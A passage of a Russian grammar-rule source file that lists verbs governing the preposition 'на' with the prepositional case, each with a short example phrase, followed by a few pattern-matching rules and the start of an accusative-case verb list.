rus_verbs:разместить{}, // разместить на сайте
rus_verbs:пронести{}, // пронести на теле
rus_verbs:нашарить{}, // нашарить на столе
rus_verbs:корчиться{}, // корчиться на полу
rus_verbs:распознать{}, // распознать на снимке
rus_verbs:повеситься{}, // повеситься на шнуре
rus_verbs:обозначиться{}, // обозначиться на картах
rus_verbs:оступиться{}, // оступиться на скользком льду
rus_verbs:подносить{}, // подносить на блюдечке
rus_verbs:расстелить{}, // расстелить на газоне
rus_verbs:обсуждаться{}, // обсуждаться на собрании
rus_verbs:расписаться{}, // расписаться на бланке
rus_verbs:плестись{}, // плестись на привязи
rus_verbs:объявиться{}, // объявиться на сцене
rus_verbs:повышаться{}, // повышаться на первом датчике
rus_verbs:разрабатывать{}, // разрабатывать на заводе
rus_verbs:прерывать{}, // прерывать на середине
rus_verbs:каяться{}, // каяться на публике
rus_verbs:освоиться{}, // освоиться на лошади
rus_verbs:подплыть{}, // подплыть на плоту
rus_verbs:оскорбить{}, // оскорбить на митинге
rus_verbs:торжествовать{}, // торжествовать на пьедестале
rus_verbs:поправлять{}, // поправлять на одежде
rus_verbs:отражать{}, // отражать на картине
rus_verbs:дремать{}, // дремать на кушетке
rus_verbs:применяться{}, // применяться на производстве стали
rus_verbs:поражать{}, // поражать на большой дистанции
rus_verbs:расстрелять{}, // расстрелять на окраине хутора
rus_verbs:рассчитать{}, // рассчитать на калькуляторе
rus_verbs:записывать{}, // записывать на ленте
rus_verbs:перебирать{}, // перебирать на ладони
rus_verbs:разбиться{}, // разбиться на катере
rus_verbs:поискать{}, // поискать на ферме
rus_verbs:прятать{}, // прятать на заброшенном складе
rus_verbs:пропеть{}, // пропеть на эстраде
rus_verbs:замелькать{}, // замелькать на экране
rus_verbs:грустить{}, // грустить на веранде
rus_verbs:крутить{}, // крутить на оси
rus_verbs:подготовить{}, // подготовить на конспиративной квартире
rus_verbs:различать{}, // различать на картинке
rus_verbs:киснуть{}, // киснуть на чужбине
rus_verbs:оборваться{}, // оборваться на полуслове
rus_verbs:запутаться{}, // запутаться на простейшем тесте
rus_verbs:общаться{}, // общаться на уроке
rus_verbs:производиться{}, // производиться на фабрике
rus_verbs:сочинить{}, // сочинить на досуге
rus_verbs:давить{}, // давить на лице
rus_verbs:разработать{}, // разработать на секретном предприятии
rus_verbs:качать{}, // качать на качелях
rus_verbs:тушить{}, // тушить на крыше пожар
rus_verbs:охранять{}, // охранять на территории базы
rus_verbs:приметить{}, // приметить на взгорке
rus_verbs:скрыть{}, // скрыть на теле
rus_verbs:удерживать{}, // удерживать на руке
rus_verbs:усвоить{}, // усвоить на уроке
rus_verbs:растаять{}, // растаять на солнечной стороне
rus_verbs:красоваться{}, // красоваться на виду
rus_verbs:сохраняться{}, // сохраняться на холоде
rus_verbs:лечить{}, // лечить на дому
rus_verbs:прокатиться{}, // прокатиться на уницикле
rus_verbs:договариваться{}, // договариваться на нейтральной территории
rus_verbs:качнуться{}, // качнуться на одной ноге
rus_verbs:опубликовать{}, // опубликовать на сайте
rus_verbs:отражаться{}, // отражаться на поверхности воды
rus_verbs:обедать{}, // обедать на веранде
rus_verbs:посидеть{}, // посидеть на лавочке
rus_verbs:сообщаться{}, // сообщаться на официальном сайте
rus_verbs:свершиться{}, // свершиться на заседании
rus_verbs:ночевать{}, // ночевать на даче
rus_verbs:темнеть{}, // темнеть на свету
rus_verbs:гибнуть{}, // гибнуть на территории полигона
rus_verbs:усиливаться{}, // усиливаться на территории округа
rus_verbs:проживать{}, // проживать на даче
rus_verbs:исследовать{}, // исследовать на большой глубине
rus_verbs:обитать{}, // обитать на громадной глубине
rus_verbs:сталкиваться{}, // сталкиваться на большой высоте
rus_verbs:таиться{}, // таиться на большой глубине
rus_verbs:спасать{}, // спасать на пожаре
rus_verbs:сказываться{}, // сказываться на общем результате
rus_verbs:заблудиться{}, // заблудиться на стройке
rus_verbs:пошарить{}, // пошарить на полках
rus_verbs:планировать{}, // планировать на бумаге
rus_verbs:ранить{}, // ранить на полигоне
rus_verbs:хлопать{}, // хлопать на сцене
rus_verbs:основать{}, // основать на горе новый монастырь
rus_verbs:отбить{}, // отбить на столе
rus_verbs:отрицать{}, // отрицать на заседании комиссии
rus_verbs:устоять{}, // устоять на ногах
rus_verbs:отзываться{}, // отзываться на страницах отчёта
rus_verbs:притормозить{}, // притормозить на обочине
rus_verbs:читаться{}, // читаться на лице
rus_verbs:заиграть{}, // заиграть на саксофоне
rus_verbs:зависнуть{}, // зависнуть на игровой площадке
rus_verbs:сознаться{}, // сознаться на допросе
rus_verbs:выясняться{}, // выясняться на очной ставке
rus_verbs:наводить{}, // наводить на столе порядок
rus_verbs:покоиться{}, // покоиться на кладбище
rus_verbs:значиться{}, // значиться на бейджике
rus_verbs:съехать{}, // съехать на санках
rus_verbs:познакомить{}, // познакомить на свадьбе
rus_verbs:завязать{}, // завязать на спине
rus_verbs:грохнуть{}, // грохнуть на площади
rus_verbs:разъехаться{}, // разъехаться на узкой дороге
rus_verbs:столпиться{}, // столпиться на крыльце
rus_verbs:порыться{}, // порыться на полках
rus_verbs:ослабить{}, // ослабить на шее
rus_verbs:оправдывать{}, // оправдывать на суде
rus_verbs:обнаруживаться{}, // обнаруживаться на складе
rus_verbs:спастись{}, // спастись на дереве
rus_verbs:прерваться{}, // прерваться на полуслове
rus_verbs:строиться{}, // строиться на пустыре
rus_verbs:познать{}, // познать на практике
rus_verbs:путешествовать{}, // путешествовать на поезде
rus_verbs:побеждать{}, // побеждать на ринге
rus_verbs:рассматриваться{}, // рассматриваться на заседании
rus_verbs:продаваться{}, // продаваться на открытом рынке
rus_verbs:разместиться{}, // разместиться на базе
rus_verbs:завыть{}, // завыть на холме
rus_verbs:настигнуть{}, // настигнуть на окраине
rus_verbs:укрыться{}, // укрыться на чердаке
rus_verbs:расплакаться{}, // расплакаться на заседании комиссии
rus_verbs:заканчивать{}, // заканчивать на последнем задании
rus_verbs:пролежать{}, // пролежать на столе
rus_verbs:громоздиться{}, // громоздиться на полу
rus_verbs:замерзнуть{}, // замерзнуть на открытом воздухе
rus_verbs:поскользнуться{}, // поскользнуться на льду
rus_verbs:таскать{}, // таскать на спине
rus_verbs:просматривать{}, // просматривать на сайте
rus_verbs:обдумать{}, // обдумать на досуге
rus_verbs:гадать{}, // гадать на кофейной гуще
rus_verbs:останавливать{}, // останавливать на выходе
rus_verbs:обозначать{}, // обозначать на странице
rus_verbs:долететь{}, // долететь на спортивном байке
rus_verbs:тесниться{}, // тесниться на чердачке
rus_verbs:хоронить{}, // хоронить на частном кладбище
rus_verbs:установиться{}, // установиться на юге
rus_verbs:прикидывать{}, // прикидывать на клочке бумаги
rus_verbs:затаиться{}, // затаиться на дереве
rus_verbs:раздобыть{}, // раздобыть на складе
rus_verbs:перебросить{}, // перебросить на вертолетах
rus_verbs:захватывать{}, // захватывать на базе
rus_verbs:сказаться{}, // сказаться на итоговых оценках
rus_verbs:покачиваться{}, // покачиваться на волнах
rus_verbs:крутиться{}, // крутиться на кухне
rus_verbs:помещаться{}, // помещаться на полке
rus_verbs:питаться{}, // питаться на помойке
rus_verbs:отдохнуть{}, // отдохнуть на загородной вилле
rus_verbs:кататься{}, // кататься на велике
rus_verbs:поработать{}, // поработать на стройке
rus_verbs:ограбить{}, // ограбить на пустыре
rus_verbs:зарабатывать{}, // зарабатывать на бирже
rus_verbs:преуспеть{}, // преуспеть на ниве искусства
rus_verbs:заерзать{}, // заерзать на стуле
rus_verbs:разъяснить{}, // разъяснить на полях
rus_verbs:отчеканить{}, // отчеканить на медной пластине
rus_verbs:торговать{}, // торговать на рынке
rus_verbs:поколебаться{}, // поколебаться на пороге
rus_verbs:прикинуть{}, // прикинуть на бумажке
rus_verbs:рассечь{}, // рассечь на тупом конце
rus_verbs:посмеяться{}, // посмеяться на переменке
rus_verbs:остыть{}, // остыть на морозном воздухе
rus_verbs:запереться{}, // запереться на чердаке
rus_verbs:обогнать{}, // обогнать на повороте
rus_verbs:подтянуться{}, // подтянуться на турнике
rus_verbs:привозить{}, // привозить на машине
rus_verbs:подбирать{}, // подбирать на полу
rus_verbs:уничтожать{}, // уничтожать на подходе
rus_verbs:притаиться{}, // притаиться на вершине
rus_verbs:плясать{}, // плясать на костях
rus_verbs:поджидать{}, // поджидать на вокзале
rus_verbs:закончить{}, // Мы закончили игру на самом интересном месте (САМ не может быть первым прилагательным в цепочке!)
rus_verbs:смениться{}, // смениться на посту
rus_verbs:посчитать{}, // посчитать на пальцах
rus_verbs:прицелиться{}, // прицелиться на бегу
rus_verbs:нарисовать{}, // нарисовать на стене
rus_verbs:прыгать{}, // прыгать на сцене
rus_verbs:повертеть{}, // повертеть на пальце
rus_verbs:попрощаться{}, // попрощаться на панихиде
инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на диване
rus_verbs:разобрать{}, // разобрать на столе
rus_verbs:помереть{}, // помереть на чужбине
rus_verbs:различить{}, // различить на нечеткой фотографии
rus_verbs:рисовать{}, // рисовать на доске
rus_verbs:проследить{}, // проследить на экране
rus_verbs:задремать{}, // задремать на диване
rus_verbs:ругаться{}, // ругаться на людях
rus_verbs:сгореть{}, // сгореть на работе
rus_verbs:зазвучать{}, // зазвучать на коротких волнах
rus_verbs:задохнуться{}, // задохнуться на вершине горы
rus_verbs:порождать{}, // порождать на поверхности небольшую рябь
rus_verbs:отдыхать{}, // отдыхать на курорте
rus_verbs:образовать{}, // образовать на дне толстый слой
rus_verbs:поправиться{}, // поправиться на дармовых харчах
rus_verbs:отмечать{}, // отмечать на календаре
rus_verbs:реять{}, // реять на флагштоке
rus_verbs:ползти{}, // ползти на коленях
rus_verbs:продавать{}, // продавать на аукционе
rus_verbs:сосредоточиться{}, // сосредоточиться на основной задаче
rus_verbs:рыскать{}, // мышки рыскали на кухне
rus_verbs:расстегнуть{}, // расстегнуть на куртке все пуговицы
rus_verbs:напасть{}, // напасть на территории другого государства
rus_verbs:издать{}, // издать на западе
rus_verbs:оставаться{}, // оставаться на страже порядка
rus_verbs:появиться{}, // наконец появиться на экране
rus_verbs:лежать{}, // лежать на столе
rus_verbs:ждать{}, // ждать на берегу
инфинитив:писать{aux stress="пис^ать"}, // писать на бумаге
глагол:писать{aux stress="пис^ать"},
rus_verbs:оказываться{}, // оказываться на полу
rus_verbs:поставить{}, // поставить на столе
rus_verbs:держать{}, // держать на крючке
rus_verbs:выходить{}, // выходить на остановке
rus_verbs:заговорить{}, // заговорить на китайском языке
rus_verbs:ожидать{}, // ожидать на стоянке
rus_verbs:закричать{}, // закричал на минарете муэдзин
rus_verbs:простоять{}, // простоять на посту
rus_verbs:продолжить{}, // продолжить на первом этаже
rus_verbs:ощутить{}, // ощутить на себе влияние кризиса
rus_verbs:состоять{}, // состоять на учете
rus_verbs:готовиться{},
инфинитив:акклиматизироваться{вид:несоверш}, // альпинисты готовятся акклиматизироваться на новой высоте
глагол:акклиматизироваться{вид:несоверш},
rus_verbs:арестовать{}, // грабители были арестованы на месте преступления
rus_verbs:схватить{}, // грабители были схвачены на месте преступления
инфинитив:атаковать{ вид:соверш }, // взвод был атакован на границе
глагол:атаковать{ вид:соверш },
прилагательное:атакованный{ вид:соверш },
прилагательное:атаковавший{ вид:соверш },
rus_verbs:базировать{}, // установка будет базирована на границе
rus_verbs:базироваться{}, // установка базируется на границе
rus_verbs:барахтаться{}, // дети барахтались на мелководье
rus_verbs:браконьерить{}, // Охотники браконьерили ночью на реке
rus_verbs:браконьерствовать{}, // Охотники ночью браконьерствовали на реке
rus_verbs:бренчать{}, // парень что-то бренчал на гитаре
rus_verbs:бренькать{}, // парень что-то бренькает на гитаре
rus_verbs:начать{}, // Рынок акций РФ начал торги на отрицательной территории.
rus_verbs:буксовать{}, // Колеса буксуют на льду
rus_verbs:вертеться{}, // Непоседливый ученик много вертится на стуле
rus_verbs:взвести{}, // Боец взвел на оружии предохранитель
rus_verbs:вилять{}, // Машина сильно виляла на дороге
rus_verbs:висеть{}, // Яблоко висит на ветке
rus_verbs:возлежать{}, // возлежать на лежанке
rus_verbs:подниматься{}, // Мы поднимаемся на лифте
rus_verbs:подняться{}, // Мы поднимемся на лифте
rus_verbs:восседать{}, // Коля восседает на лошади
rus_verbs:воссиять{}, // Луна воссияла на небе
rus_verbs:воцариться{}, // Мир воцарился на всей земле
rus_verbs:воцаряться{}, // Мир воцаряется на всей земле
rus_verbs:вращать{}, // вращать на поясе
rus_verbs:вращаться{}, // вращаться на поясе
rus_verbs:встретить{}, // встретить друга на улице
rus_verbs:встретиться{}, // встретиться на занятиях
rus_verbs:встречать{}, // встречать на занятиях
rus_verbs:въебывать{}, // въебывать на работе
rus_verbs:въезжать{}, // въезжать на автомобиле
rus_verbs:въехать{}, // въехать на автомобиле
rus_verbs:выгорать{}, // ткань выгорает на солнце
rus_verbs:выгореть{}, // ткань выгорела на солнце
rus_verbs:выгравировать{}, // выгравировать на табличке надпись
rus_verbs:выжить{}, // выжить на необитаемом острове
rus_verbs:вылежаться{}, // помидоры вылежались на солнце
rus_verbs:вылеживаться{}, // вылеживаться на солнце
rus_verbs:выместить{}, // выместить на ком-то злобу
rus_verbs:вымещать{}, // вымещать на ком-то свое раздражение
rus_verbs:вымещаться{}, // вымещаться на ком-то
rus_verbs:выращивать{}, // выращивать на грядке помидоры
rus_verbs:выращиваться{}, // выращиваться на грядке
инфинитив:вырезать{вид:соверш}, // вырезать на доске надпись
глагол:вырезать{вид:соверш},
инфинитив:вырезать{вид:несоверш},
глагол:вырезать{вид:несоверш},
rus_verbs:вырисоваться{}, // вырисоваться на графике
rus_verbs:вырисовываться{}, // вырисовываться на графике
rus_verbs:высаживать{}, // высаживать на необитаемом острове
rus_verbs:высаживаться{}, // высаживаться на острове
rus_verbs:высвечивать{}, // высвечивать на дисплее температуру
rus_verbs:высвечиваться{}, // высвечиваться на дисплее
rus_verbs:выстроить{}, // выстроить на фундаменте
rus_verbs:выстроиться{}, // выстроиться на плацу
rus_verbs:выстудить{}, // выстудить на морозе
rus_verbs:выстудиться{}, // выстудиться на морозе
rus_verbs:выстужать{}, // выстужать на морозе
rus_verbs:выстуживать{}, // выстуживать на морозе
rus_verbs:выстуживаться{}, // выстуживаться на морозе
rus_verbs:выстукать{}, // выстукать на клавиатуре
rus_verbs:выстукивать{}, // выстукивать на клавиатуре
rus_verbs:выстукиваться{}, // выстукиваться на клавиатуре
rus_verbs:выступать{}, // выступать на сцене
rus_verbs:выступить{}, // выступить на сцене
rus_verbs:выстучать{}, // выстучать на клавиатуре
rus_verbs:выстывать{}, // выстывать на морозе
rus_verbs:выстыть{}, // выстыть на морозе
rus_verbs:вытатуировать{}, // вытатуировать на руке якорь
rus_verbs:говорить{}, // говорить на повышенных тонах
rus_verbs:заметить{}, // заметить на берегу
rus_verbs:стоять{}, // твёрдо стоять на ногах
rus_verbs:оказаться{}, // оказаться на передовой линии
rus_verbs:почувствовать{}, // почувствовать на своей шкуре
rus_verbs:остановиться{}, // остановиться на первом пункте
rus_verbs:показаться{}, // показаться на горизонте
rus_verbs:чувствовать{}, // чувствовать на своей шкуре
rus_verbs:искать{}, // искать на открытом пространстве
rus_verbs:иметься{}, // иметься на складе
rus_verbs:клясться{}, // клясться на Коране
rus_verbs:прервать{}, // прервать на полуслове
rus_verbs:играть{}, // играть на чувствах
rus_verbs:спуститься{}, // спуститься на парашюте
rus_verbs:понадобиться{}, // понадобиться на экзамене
rus_verbs:служить{}, // служить на флоте
rus_verbs:подобрать{}, // подобрать на улице
rus_verbs:появляться{}, // появляться на сцене
rus_verbs:селить{}, // селить на чердаке
rus_verbs:поймать{}, // поймать на границе
rus_verbs:увидать{}, // увидать на опушке
rus_verbs:подождать{}, // подождать на перроне
rus_verbs:прочесть{}, // прочесть на полях
rus_verbs:тонуть{}, // тонуть на мелководье
rus_verbs:ощущать{}, // ощущать на коже
rus_verbs:отметить{}, // отметить на полях
rus_verbs:показывать{}, // показывать на графике
rus_verbs:разговаривать{}, // разговаривать на иностранном языке
rus_verbs:прочитать{}, // прочитать на сайте
rus_verbs:попробовать{}, // попробовать на практике
rus_verbs:замечать{}, // замечать на коже грязь
rus_verbs:нести{}, // нести на плечах
rus_verbs:носить{}, // носить на голове
rus_verbs:гореть{}, // гореть на работе
rus_verbs:застыть{}, // застыть на пороге
инфинитив:жениться{ вид:соверш }, // жениться на королеве
глагол:жениться{ вид:соверш },
прилагательное:женатый{},
прилагательное:женившийся{},
rus_verbs:спрятать{}, // спрятать на чердаке
rus_verbs:развернуться{}, // развернуться на плацу
rus_verbs:строить{}, // строить на песке
rus_verbs:устроить{}, // устроить на даче тестральный вечер
rus_verbs:настаивать{}, // настаивать на выполнении приказа
rus_verbs:находить{}, // находить на берегу
rus_verbs:мелькнуть{}, // мелькнуть на экране
rus_verbs:очутиться{}, // очутиться на опушке леса
инфинитив:использовать{вид:соверш}, // использовать на работе
глагол:использовать{вид:соверш},
инфинитив:использовать{вид:несоверш},
глагол:использовать{вид:несоверш},
прилагательное:использованный{},
прилагательное:использующий{},
прилагательное:использовавший{},
rus_verbs:лететь{}, // лететь на воздушном шаре
rus_verbs:смеяться{}, // смеяться на сцене
rus_verbs:ездить{}, // ездить на мопеде
rus_verbs:заснуть{}, // заснуть на диване
rus_verbs:застать{}, // застать на рабочем месте
rus_verbs:очнуться{}, // очнуться на больничной койке
rus_verbs:разглядеть{}, // разглядеть на фотографии
rus_verbs:обойти{}, // обойти на вираже
rus_verbs:удержаться{}, // удержаться на троне
rus_verbs:побывать{}, // побывать на другой планете
rus_verbs:заняться{}, // заняться на выходных делом
rus_verbs:вянуть{}, // вянуть на солнце
rus_verbs:постоять{}, // постоять на голове
rus_verbs:приобрести{}, // приобрести на распродаже
rus_verbs:попасться{}, // попасться на краже
rus_verbs:продолжаться{}, // продолжаться на земле
rus_verbs:открывать{}, // открывать на арене
rus_verbs:создавать{}, // создавать на сцене
rus_verbs:обсуждать{}, // обсуждать на кухне
rus_verbs:отыскать{}, // отыскать на полу
rus_verbs:уснуть{}, // уснуть на диване
rus_verbs:задержаться{}, // задержаться на работе
rus_verbs:курить{}, // курить на свежем воздухе
rus_verbs:приподняться{}, // приподняться на локтях
rus_verbs:установить{}, // установить на вершине
rus_verbs:запереть{}, // запереть на балконе
rus_verbs:синеть{}, // синеть на воздухе
rus_verbs:убивать{}, // убивать на нейтральной территории
rus_verbs:скрываться{}, // скрываться на даче
rus_verbs:родить{}, // родить на полу
rus_verbs:описать{}, // описать на страницах книги
rus_verbs:перехватить{}, // перехватить на подлете
rus_verbs:скрывать{}, // скрывать на даче
rus_verbs:сменить{}, // сменить на посту
rus_verbs:мелькать{}, // мелькать на экране
rus_verbs:присутствовать{}, // присутствовать на мероприятии
rus_verbs:украсть{}, // украсть на рынке
rus_verbs:победить{}, // победить на ринге
rus_verbs:упомянуть{}, // упомянуть на страницах романа
rus_verbs:плыть{}, // плыть на старой лодке
rus_verbs:повиснуть{}, // повиснуть на перекладине
rus_verbs:нащупать{}, // нащупать на дне
rus_verbs:затихнуть{}, // затихнуть на дне
rus_verbs:построить{}, // построить на участке
rus_verbs:поддерживать{}, // поддерживать на поверхности
rus_verbs:заработать{}, // заработать на бирже
rus_verbs:провалиться{}, // провалиться на экзамене
rus_verbs:сохранить{}, // сохранить на диске
rus_verbs:располагаться{}, // располагаться на софе
rus_verbs:поклясться{}, // поклясться на библии
rus_verbs:сражаться{}, // сражаться на арене
rus_verbs:спускаться{}, // спускаться на дельтаплане
rus_verbs:уничтожить{}, // уничтожить на подступах
rus_verbs:изучить{}, // изучить на практике
rus_verbs:рождаться{}, // рождаться на праздниках
rus_verbs:прилететь{}, // прилететь на самолете
rus_verbs:догнать{}, // догнать на перекрестке
rus_verbs:изобразить{}, // изобразить на бумаге
rus_verbs:проехать{}, // проехать на тракторе
rus_verbs:приготовить{}, // приготовить на масле
rus_verbs:споткнуться{}, // споткнуться на полу
rus_verbs:собирать{}, // собирать на берегу
rus_verbs:отсутствовать{}, // отсутствовать на тусовке
rus_verbs:приземлиться{}, // приземлиться на военном аэродроме
rus_verbs:сыграть{}, // сыграть на трубе
rus_verbs:прятаться{}, // прятаться на даче
rus_verbs:спрятаться{}, // спрятаться на чердаке
rus_verbs:провозгласить{}, // провозгласить на митинге
rus_verbs:изложить{}, // изложить на бумаге
rus_verbs:использоваться{}, // использоваться на практике
rus_verbs:замяться{}, // замяться на входе
rus_verbs:раздаваться{}, // Крик ягуара раздается на краю болота
rus_verbs:сверкнуть{}, // сверкнуть на солнце
rus_verbs:сверкать{}, // сверкать на свету
rus_verbs:задержать{}, // задержать на митинге
rus_verbs:осечься{}, // осечься на первом слове
rus_verbs:хранить{}, // хранить на банковском счету
rus_verbs:шутить{}, // шутить на уроке
rus_verbs:кружиться{}, // кружиться на балу
rus_verbs:чертить{}, // чертить на доске
rus_verbs:отразиться{}, // отразиться на оценках
rus_verbs:греть{}, // греть на солнце
rus_verbs:рассуждать{}, // рассуждать на страницах своей книги
rus_verbs:окружать{}, // окружать на острове
rus_verbs:сопровождать{}, // сопровождать на охоте
rus_verbs:заканчиваться{}, // заканчиваться на самом интересном месте
rus_verbs:содержаться{}, // содержаться на приусадебном участке
rus_verbs:поселиться{}, // поселиться на даче
rus_verbs:запеть{}, // запеть на сцене
инфинитив:провозить{ вид:несоверш }, // провозить на теле
глагол:провозить{ вид:несоверш },
прилагательное:провезенный{},
прилагательное:провозивший{вид:несоверш},
прилагательное:провозящий{вид:несоверш},
деепричастие:провозя{},
rus_verbs:мочить{}, // мочить на месте
rus_verbs:преследовать{}, // преследовать на территории другого штата
rus_verbs:пролететь{}, // пролетел на параплане
rus_verbs:драться{}, // драться на рапирах
rus_verbs:просидеть{}, // просидеть на занятиях
rus_verbs:убираться{}, // убираться на балконе
rus_verbs:таять{}, // таять на солнце
rus_verbs:проверять{}, // проверять на полиграфе
rus_verbs:убеждать{}, // убеждать на примере
rus_verbs:скользить{}, // скользить на льду
rus_verbs:приобретать{}, // приобретать на распродаже
rus_verbs:летать{}, // летать на метле
rus_verbs:толпиться{}, // толпиться на перроне
rus_verbs:плавать{}, // плавать на надувном матрасе
rus_verbs:описывать{}, // описывать на страницах повести
rus_verbs:пробыть{}, // пробыть на солнце слишком долго
rus_verbs:застрять{}, // застрять на верхнем этаже
rus_verbs:метаться{}, // метаться на полу
rus_verbs:сжечь{}, // сжечь на костре
rus_verbs:расслабиться{}, // расслабиться на кушетке
rus_verbs:услыхать{}, // услыхать на рынке
rus_verbs:удержать{}, // удержать на прежнем уровне
rus_verbs:образоваться{}, // образоваться на дне
rus_verbs:рассмотреть{}, // рассмотреть на поверхности чипа
rus_verbs:уезжать{}, // уезжать на попутке
rus_verbs:похоронить{}, // похоронить на закрытом кладбище
rus_verbs:настоять{}, // настоять на пересмотре оценок
rus_verbs:растянуться{}, // растянуться на горячем песке
rus_verbs:покрутить{}, // покрутить на шесте
rus_verbs:обнаружиться{}, // обнаружиться на болоте
rus_verbs:гулять{}, // гулять на свадьбе
rus_verbs:утонуть{}, // утонуть на курорте
rus_verbs:храниться{}, // храниться на депозите
rus_verbs:танцевать{}, // танцевать на свадьбе
rus_verbs:трудиться{}, // трудиться на заводе
инфинитив:засыпать{переходность:непереходный вид:несоверш}, // засыпать на кровати
глагол:засыпать{переходность:непереходный вид:несоверш},
деепричастие:засыпая{переходность:непереходный вид:несоверш},
прилагательное:засыпавший{переходность:непереходный вид:несоверш},
прилагательное:засыпающий{ вид:несоверш переходность:непереходный }, // ребенок, засыпающий на руках
rus_verbs:сушить{}, // сушить на открытом воздухе
rus_verbs:зашевелиться{}, // зашевелиться на чердаке
rus_verbs:обдумывать{}, // обдумывать на досуге
rus_verbs:докладывать{}, // докладывать на научной конференции
rus_verbs:промелькнуть{}, // промелькнуть на экране
// прилагательное:находящийся{ вид:несоверш }, // колонна, находящаяся на ничейной территории
прилагательное:написанный{}, // слово, написанное на заборе
rus_verbs:умещаться{}, // компьютер, умещающийся на ладони
rus_verbs:открыть{}, // книга, открытая на последней странице
rus_verbs:спать{}, // йог, спящий на гвоздях
rus_verbs:пробуксовывать{}, // колесо, пробуксовывающее на обледенелом асфальте
rus_verbs:забуксовать{}, // колесо, забуксовавшее на обледенелом асфальте
rus_verbs:отобразиться{}, // удивление, отобразившееся на лице
rus_verbs:увидеть{}, // на полу я увидел чьи-то следы
rus_verbs:видеть{}, // на полу я вижу чьи-то следы
rus_verbs:оставить{}, // Мел оставил на доске белый след.
rus_verbs:оставлять{}, // Мел оставляет на доске белый след.
rus_verbs:встречаться{}, // встречаться на лекциях
rus_verbs:познакомиться{}, // познакомиться на занятиях
rus_verbs:устроиться{}, // она устроилась на кровати
rus_verbs:ложиться{}, // ложись на полу
rus_verbs:останавливаться{}, // останавливаться на достигнутом
rus_verbs:спотыкаться{}, // спотыкаться на ровном месте
rus_verbs:распечатать{}, // распечатать на бумаге
rus_verbs:распечатывать{}, // распечатывать на бумаге
rus_verbs:просмотреть{}, // просмотреть на бумаге
rus_verbs:закрепляться{}, // закрепляться на плацдарме
rus_verbs:погреться{}, // погреться на солнышке
rus_verbs:мешать{}, // Он мешал краски на палитре.
rus_verbs:занять{}, // Он занял первое место на соревнованиях.
rus_verbs:заговариваться{}, // Он заговаривался иногда на уроках.
деепричастие:женившись{ вид:соверш },
rus_verbs:везти{}, // Он везёт песок на тачке.
прилагательное:казненный{}, // Он был казнён на электрическом стуле.
rus_verbs:прожить{}, // Он безвыездно прожил всё лето на даче.
rus_verbs:принести{}, // Официантка принесла нам обед на подносе.
rus_verbs:переписать{}, // Перепишите эту рукопись на машинке.
rus_verbs:идти{}, // Поезд идёт на малой скорости.
rus_verbs:петь{}, // птички поют на рассвете
rus_verbs:смотреть{}, // Смотри на обороте.
rus_verbs:прибрать{}, // прибрать на столе
rus_verbs:прибраться{}, // прибраться на столе
rus_verbs:растить{}, // растить капусту на огороде
rus_verbs:тащить{}, // тащить ребенка на руках
rus_verbs:убирать{}, // убирать на столе
rus_verbs:простыть{}, // Я простыл на морозе.
rus_verbs:сиять{}, // ясные звезды мирно сияли на безоблачном весеннем небе.
rus_verbs:проводиться{}, // такие эксперименты не проводятся на воде
rus_verbs:достать{}, // Я не могу достать до яблок на верхних ветках.
rus_verbs:расплыться{}, // Чернила расплылись на плохой бумаге.
rus_verbs:вскочить{}, // У него вскочил прыщ на носу.
rus_verbs:свить{}, // У нас на балконе воробей свил гнездо.
rus_verbs:оторваться{}, // У меня на пальто оторвалась пуговица.
rus_verbs:восходить{}, // Солнце восходит на востоке.
rus_verbs:блестеть{}, // Снег блестит на солнце.
rus_verbs:побить{}, // Рысак побил всех лошадей на скачках.
rus_verbs:литься{}, // Реки крови льются на войне.
rus_verbs:держаться{}, // Ребёнок уже твёрдо держится на ногах.
rus_verbs:клубиться{}, // Пыль клубится на дороге.
инфинитив:написать{ aux stress="напис^ать" }, // Ты должен написать статью на английском языке
глагол:написать{ aux stress="напис^ать" }, // Он написал статью на русском языке.
// глагол:находиться{вид:несоверш}, // мой поезд находится на первом пути
// инфинитив:находиться{вид:несоверш},
rus_verbs:жить{}, // Было интересно жить на курорте.
rus_verbs:повидать{}, // Он много повидал на своём веку.
rus_verbs:разъезжаться{}, // Ноги разъезжаются не только на льду.
rus_verbs:расположиться{}, // Оба села расположились на берегу реки.
rus_verbs:объясняться{}, // Они объясняются на иностранном языке.
rus_verbs:прощаться{}, // Они долго прощались на вокзале.
rus_verbs:работать{}, // Она работает на ткацкой фабрике.
rus_verbs:купить{}, // Она купила молоко на рынке.
rus_verbs:поместиться{}, // Все книги поместились на полке.
глагол:проводить{вид:несоверш}, инфинитив:проводить{вид:несоверш}, // Нужно проводить теорию на практике.
rus_verbs:пожить{}, // Недолго она пожила на свете.
rus_verbs:краснеть{}, // Небо краснеет на закате.
rus_verbs:бывать{}, // На Волге бывает сильное волнение.
rus_verbs:ехать{}, // Мы туда ехали на автобусе.
rus_verbs:провести{}, // Мы провели месяц на даче.
rus_verbs:поздороваться{}, // Мы поздоровались при встрече на улице.
rus_verbs:расти{}, // Арбузы растут теперь не только на юге.
ГЛ_ИНФ(сидеть), // три больших пса сидят на траве
ГЛ_ИНФ(сесть), // три больших пса сели на траву
ГЛ_ИНФ(перевернуться), // На дороге перевернулся автомобиль
ГЛ_ИНФ(повезти), // я повезу тебя на машине
ГЛ_ИНФ(отвезти), // мы отвезем тебя на такси
ГЛ_ИНФ(пить), // пить на кухне чай
ГЛ_ИНФ(найти), // найти на острове
ГЛ_ИНФ(быть), // на этих костях есть следы зубов
ГЛ_ИНФ(высадиться), // помощники высадились на острове
ГЛ_ИНФ(делать),прилагательное:делающий{}, прилагательное:делавший{}, деепричастие:делая{}, // смотрю фильм о том, что пираты делали на необитаемом острове
ГЛ_ИНФ(случиться), // это случилось на опушке леса
ГЛ_ИНФ(продать),
ГЛ_ИНФ(есть) // кошки ели мой корм на песчаном берегу
}
#endregion VerbList
// Чтобы разрешить связывание в паттернах типа: смотреть на youtube
fact гл_предл
{
if context { Гл_НА_Предл предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_НА_Предл предлог:на{} *:*{падеж:предл} }
then return true
}
// локатив
fact гл_предл
{
if context { Гл_НА_Предл предлог:на{} *:*{падеж:мест} }
then return true
}
#endregion ПРЕДЛОЖНЫЙ
#region ВИНИТЕЛЬНЫЙ
// НА+винительный падеж:
// ЗАБИРАТЬСЯ НА ВЕРШИНУ ГОРЫ
#region VerbList
wordentry_set Гл_НА_Вин=
{
rus_verbs:переметнуться{}, // Ее взгляд растерянно переметнулся на Лили.
rus_verbs:отогнать{}, // Водитель отогнал машину на стоянку.
